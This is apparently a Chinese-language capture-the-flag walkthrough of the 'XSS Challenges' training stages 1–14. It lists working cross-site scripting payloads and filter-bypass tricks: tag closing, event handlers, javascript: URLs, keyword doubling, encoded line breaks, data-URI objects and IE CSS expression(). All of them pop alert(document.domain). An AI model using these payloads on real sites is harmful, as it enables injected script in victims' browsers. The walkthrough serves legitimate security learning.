XSS Challenges
XSS基础不好的建议优先查看
关于XSS中使用到的html编码 js编码各种场景用法
实在做不出来的时候可以看别人做题的笔记攻略:
stage#1
<img src=x onerror='alert(document.domain)'>
</b><script>alert(document.domain)</script><b>
Stage #2
Hint: close the current tag and add SCRIPT tag...
"><script>alert(document.domain);</script>
Stage #3
使用bp改包把参数p2的值Japan替换为URL编码后的js代码
<script>alert(document.domain);</script>
%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E
Stage #4
通过抓包发现post请求多出来一个p3参数。原始值是hackme。我们把该参数值改为98765便于在输出的页面内进行搜索。
找到该参数的数值存放处后构造XSS代码
"><script>alert(document.domain);</script>
URL编码后替换掉p3的值
%22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
Stage #5
我们观察到P1参数的输入框限制了输入数值的长度,可以通过改包对长度限制进行突破
根据p1的value所在位置构造XSS代码
"><script>alert(document.domain);</script>
URL编码后替换掉p1的值
%22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
Stage #6
感觉和第五关类似结果同样的操作发现<>被进行了转译
此时我们就需要在不使用<>的情况下构造XSS代码
我们可以使用 input可以出发的一些时间来实现比如 onmouseover、onmouseenter、onclick、
" onmouseenter="alert(document.domain)"
%22+onmouseenter%3d%22alert(document.domain)%22
Stage #7
使用第六关的payload时发现onmouseenter的属性多包裹了一层""去掉即可
" onmouseenter=alert(document.domain)
%22+onmouseenter%3dalert(document.domain)
Stage #8
payload插入在a标签中使用JavaScript伪协议
javascript:alert(document.domain);
Stage #9
抓包发现多了一个charset参数,但是该参数值所在的input标签被隐藏
UTF-7编码 需要IE7环境很难实现 以后需要中心关注这一关 未实际完成
expression属性适用于IE6及以下
style='x:expression(alert(document.domain))'
热键触发
accesskey="X" onclick="alert(/waitalone.cn/)"
Stage #10
发现关键字domain被过滤,采用重复穿插双写绕过
" onmouseenter=alert(document.domdomainain)
%22+onmouseenter%3dalert(document.domdomainain)
Stage #11
Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
根据提示我们知道了 script on事件 style 都将被替换为非空字符串
其他地方遇到这种情况可以使用tab制表(%09)穿插在关键字内。
%09也就是tab制表符,使用在单个标签之内,会被浏览器`正确`去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
后面测试发现%0a和%0d一样受到影响。
这里使用html5的换行符来代替制表符%09
"><a href=javascri
pt:alert(document.domain)>test</a>
//
是html5的换行符
//:是冒号
" o
nmouseenter=alert(document.domain) 无效
" o%09nmouseenter=alert(document.domain) 无效
通过object data属性新建了一个html插入到原有网页内,无法获取到原有页面的属性值?
"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">
PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg== 为下一行经过base64编码后的结果
<script>alert(document.domain);</script>
可以弹窗但是无法取得想要的结果
Stage #12
使用如下payload测试发现<>被过滤了
"><a href=javascript:alert(document.domain)>test</a>
ahref=javascript:alert(document.domain)test/a
IE的特性可以使用·来代替 '"引号
`` onclick=alert(document.domain)
Stage #13
提示非常明显,通过CSS来弹窗
style='x:expression(alert(document.domain))' 这样会不停的触发所以还是加一个触发条件比较好
aa:expression(onmouseover=function(){alert(document.domain)})
background-image:url("javascript:alert(document.domain)")
background:url("javascript:alert(document.domain);");
注意!!IE11已不支持expression
Stage #14
发现expression、JavaScript、url等被替换为XXX 那么使用注释等方法把expression关键字分隔开即可
aa:expre/*xss*/ssion(onmouseover=function(){alert(document.domain)})
绕过正则有4种隔离关键字方式